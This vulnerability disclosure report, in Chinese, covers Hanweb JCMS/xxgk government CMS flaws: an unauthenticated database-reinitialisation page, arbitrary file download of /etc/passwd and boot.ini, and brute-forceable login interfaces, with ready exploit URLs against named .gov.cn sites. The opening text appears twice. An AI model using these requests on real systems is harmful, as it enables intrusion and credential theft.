### 简要描述: 太折腾了,没精力了,太累了,完结篇了,以后估计不看鸟。而且厂商给的rank……rank不是你的,都算乌云的……不用太吝啬这个东西。 简单提下内容: 基本所有系统都存在的一处越权; JCMS & xxgk 通用的一处任意文件下载; JCMS & xxgk 通用的两处暴力破解接口; 就这么当完结篇了!冲击我的1000rank,然后该稍微歇着了。 ### 详细说明: 基本所有系统大部分版本都还存在的一个越权: ``` <%@ page contentType="text/html;charset=UTF-8"%> <%@page import="com.hanweb.common.util.Convert"%> <%@page import="com.hanweb.sys.Install"%> <% String main_ip = Convert.getParameter( request,"dbip"); String main_port = Convert.getParameter( request,"dbport"); String main_dbname = Convert.getParameter( request,"dbname"); String main_user = Convert.getParameter( request,"dbuser"); String main_pwd1 = Convert.getParameter( request,"dbpwd1"); //数据库类型 String dbtype = Convert.getParameter( request,"dbtype"); int ndbtype = Convert.getStringValueInt( dbtype ); String strRealPath = application.getRealPath(""); //创建表,初始化数据 Install install = new Install( strRealPath ); boolean bl = install.setDBServer( ndbtype,main_ip,main_port,main_dbname,main_user,main_pwd1 ); String strMessage...
### 简要描述: 太折腾了,没精力了,太累了,完结篇了,以后估计不看鸟。而且厂商给的rank……rank不是你的,都算乌云的……不用太吝啬这个东西。 简单提下内容: 基本所有系统都存在的一处越权; JCMS & xxgk 通用的一处任意文件下载; JCMS & xxgk 通用的两处暴力破解接口; 就这么当完结篇了!冲击我的1000rank,然后该稍微歇着了。 ### 详细说明: 基本所有系统大部分版本都还存在的一个越权: ``` <%@ page contentType="text/html;charset=UTF-8"%> <%@page import="com.hanweb.common.util.Convert"%> <%@page import="com.hanweb.sys.Install"%> <% String main_ip = Convert.getParameter( request,"dbip"); String main_port = Convert.getParameter( request,"dbport"); String main_dbname = Convert.getParameter( request,"dbname"); String main_user = Convert.getParameter( request,"dbuser"); String main_pwd1 = Convert.getParameter( request,"dbpwd1"); //数据库类型 String dbtype = Convert.getParameter( request,"dbtype"); int ndbtype = Convert.getStringValueInt( dbtype ); String strRealPath = application.getRealPath(""); //创建表,初始化数据 Install install = new Install( strRealPath ); boolean bl = install.setDBServer( ndbtype,main_ip,main_port,main_dbname,main_user,main_pwd1 ); String strMessage = ""; //修改配置文件 String iniPath = strRealPath + "/WEB-INF/ini/merpserver.ini"; com.hanweb.common.util.IniFile ini = new com.hanweb.common.util.IniFile( iniPath ); ini.readIni(); ini.setIniValue("b_init","1"); ini.writeIni(); //写日志文件 String errpath = strRealPath + "/setup/log/init_error.txt"; install.writeErrorLog( errpath ); if( bl ) strMessage = "创建成功,请重新启动中间件!"; else strMessage = "创建失败,请查看日志文件!"; out.println( Convert.getAlterScript( " parent.createIndex.style.visibility='hidden';") ); out.println( Convert.getAlterScript( "alert('"+strMessage+"');") ); %> ``` 初始化数据库到指定IP数据库服务器去的,大部分系统大部分版本都是处于没有验证的状态。 给案例 Source: http://www.gansu.gov.cn/source/setup/opr_initdb.jsp?dbip=1.1.1.1&db_port=1433&dbname=test&dbuser=admin123&dbpwd1=admin123&dbtype=2 [<img src="https://images.seebug.org/upload/201403/06004117a660b29ec5ea27f9f0c4347b87af1a5b.png" alt="image001.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201403/06004117a660b29ec5ea27f9f0c4347b87af1a5b.png) Jiep: http://www.gansu.gov.cn/jiep/setup/opr_initdb.jsp?dbip=1.1.1.1&db_port=1433&dbname=test&dbuser=admin123&dbpwd1=admin123&dbtype=2 [<img src="https://images.seebug.org/upload/201403/0600413684f2b9c649322097e73c92398a0c05be.png" alt="image003.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201403/0600413684f2b9c649322097e73c92398a0c05be.png) Vipchat: http://www.liaocheng.gov.cn/vipchat/setup/opr_initdb.jsp?dbip=1.1.1.1&db_port=1433&dbname=test&dbuser=admin123&dbpwd1=admin123&dbtype=2 [<img src="https://images.seebug.org/upload/201403/060041559facd1ae423ecd65c5cfa9bdb6f6fc7e.png" alt="image005.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201403/060041559facd1ae423ecd65c5cfa9bdb6f6fc7e.png) LM http://www.liaocheng.gov.cn/lm/setup/opr_initdb.jsp?dbip=1.1.1.1&db_port=1433&dbname=test&dbuser=admin123&dbpwd1=admin123&dbtype=2 [<img src="https://images.seebug.org/upload/201403/06004213129cda02ef0c424eed9a9b0edaa7661a.png" alt="image007.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201403/06004213129cda02ef0c424eed9a9b0edaa7661a.png) ### 漏洞证明: JCMS & xxgk 任意文件下载 关键代码: ``` <%@page contentType="text/html;charset=UTF-8"%><%@page import="jcms.util.DownFile"%><%@page import="com.hanweb.common.util.Convert"%><% //原文件名 String strFileName = Convert.getParameter(request,"filename"); //要保存的文件名 String downloadname = Convert.getParameter(request,"savename"); /*下载文件*/ //downloadname = new String( downloadname.getBytes("GBK"), "iso-8859-1"); out.clear(); response.reset(); if(!DownFile.getFile(strFileName,downloadname,response,"UTF-8")){ //response.setContentType("text/html"); //response.setCharacterEncoding("utf-8"); out.println(Convert.getAlterScript("alert('下载失败,文件可能不存在!');")); } %> ``` 其中filename为绝对路径。 先看xxgk的案例: http://xxgk.qidong.gov.cn/gov/m_5_9/downfile.jsp?filename=/etc/passwd&savename=1 [<img src="https://images.seebug.org/upload/201403/060043165179f5ccca528a990d6e537fa697fdb4.png" alt="image009.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201403/060043165179f5ccca528a990d6e537fa697fdb4.png) http://xxgk.tzhl.gov.cn/xxgk/m_5_9/downfile.jsp?filename=/etc/passwd&savename=1 [<img src="https://images.seebug.org/upload/201403/060043360503ccf052fd7d11b08fd8367a7bfed9.png" alt="image010.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201403/060043360503ccf052fd7d11b08fd8367a7bfed9.png) http://xxgk.qidong.gov.cn/gov/m_5_9/downfile.jsp?filename=/etc/passwd&savename=1 [<img src="https://images.seebug.org/upload/201403/0600442852cda28cd557a629ee41d45a2493a158.png" alt="image011.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201403/0600442852cda28cd557a629ee41d45a2493a158.png) 再看JCMS的案例: http://www.xwzf.gov.cn/jcms/m_5_9/downfile.jsp?filename=/etc/passwd&savename=1 [<img src="https://images.seebug.org/upload/201403/0600444346b9901015a47ecb61d9019dd6a90e72.png" alt="image012.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201403/0600444346b9901015a47ecb61d9019dd6a90e72.png) http://www.huimin.gov.cn/jcms/m_5_9/downfile.jsp?filename=c:/boot.ini&savename=1 [<img src="https://images.seebug.org/upload/201403/06004458409bd0d1945b4158725e654dd3005cca.png" alt="image013.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201403/06004458409bd0d1945b4158725e654dd3005cca.png) 暴力破解1——某接口可以暴力破解用户名密码 ``` <%@page contentType="text/html;charset=UTF-8" %><%@page import="com.hanweb.common.util.Convert"%><%@page import="com.hanweb.common.log.LogWriter"%><jsp:useBean id="virify" class="jcms.blf.receive.Verify"></jsp:useBean> <%String strErrorInfo = "<html><body>error</body></html>"; String strOptions = ""; // 准备数据 String strLoginId = Convert.getParameter(request, "userid"); String strPassword = Convert.getParameter(request, "password"); // 验证用户 if (!virify.isExist(strLoginId, strPassword)) { LogWriter.error("Error: the user is not exists or password is wrong!"); out.write(strErrorInfo); } else { // 获取网站结构的xml strOptions = virify.getUserWeb(strLoginId); out.write(strOptions); }%> ``` http://www.gansu.gov.cn/xxgk/interface/web.jsp?userid=admin&password=##### 正确情况下的回显: [<img src="https://images.seebug.org/upload/201403/06004639b906d2ef2b61a69568a5c075561012fb.png" alt="image018.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201403/06004639b906d2ef2b61a69568a5c075561012fb.png) 错误情况下的回显: [<img src="https://images.seebug.org/upload/201403/060046550109cdf0b0f5792ded4fde4708543221.png" alt="image019.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201403/060046550109cdf0b0f5792ded4fde4708543221.png) 工具测试发了5000多个请求,没问题,可破解成功,错误是33b,正确的56b [<img src="https://images.seebug.org/upload/201403/06004712dfc9592dd42ea8e2b620c912011a0e77.png" alt="image020.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201403/06004712dfc9592dd42ea8e2b620c912011a0e77.png) Jcms也是有用到类似的代码的: http://www.huimin.gov.cn/jcms/interface/web.jsp [<img src="https://images.seebug.org/upload/201403/060047326296e43a0a59c2ead1d5a681628736dd.png" alt="image022.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201403/060047326296e43a0a59c2ead1d5a681628736dd.png) 暴力破解也是可行的。 暴力破解2——另一接口也可以暴力破解 ``` <%@page contentType="text/html;charset=UTF-8" %><%@page import="com.hanweb.common.util.Convert"%><%@page import="com.hanweb.common.log.LogWriter"%><jsp:useBean id="virify" class="jcms.blf.receive.Verify"></jsp:useBean> <%String strErrorInfo = "<html><body>error</body></html>"; String strXML = ""; // 准备数据 String strLoginId = Convert.getParameter(request, "userid"); String strPassword = Convert.getParameter(request, "password"); // 验证用户 if (!virify.isExist(strLoginId, strPassword)) { LogWriter.error("Error: the user is not exists or password is wrong!"); out.write(strErrorInfo); } else { // 获取网站结构的xml strXML = virify.getXML(strLoginId, strPassword, strErrorInfo); out.write("<html><body>" + strXML + "</body></html>"); }%> ``` http://www.gansu.gov.cn/xxgk/interface/verify.jsp 密码正确的情况: [<img src="https://images.seebug.org/upload/201403/0600480412f2d143570114db0f88cf73ebc52b59.png" alt="image023.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201403/0600480412f2d143570114db0f88cf73ebc52b59.png) 错误的情况: [<img src="https://images.seebug.org/upload/201403/060048244e8f38b23c1c238eec9d645a0aceaac9.png" alt="image024.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201403/060048244e8f38b23c1c238eec9d645a0aceaac9.png) Jcms案例: http://www.huimin.gov.cn/jcms/interface/verify.jsp 不再进行测试。 最后附送一处好像是越权的地方,厂商自己评估是否是开放给民众下载的通道: http://www.gansu.gov.cn/xxgk/jcms_files/jcms1/web1/site/zfxxgk/downinfo.jsp [<img src="https://images.seebug.org/upload/201403/06004917301e1aa66b025cde9068a2897adf1255.png" alt="image015.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201403/06004917301e1aa66b025cde9068a2897adf1255.png) [<img src="https://images.seebug.org/upload/201403/060049264691721e0aab3be2d901617e78a42941.png" alt="image017.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201403/060049264691721e0aab3be2d901617e78a42941.png)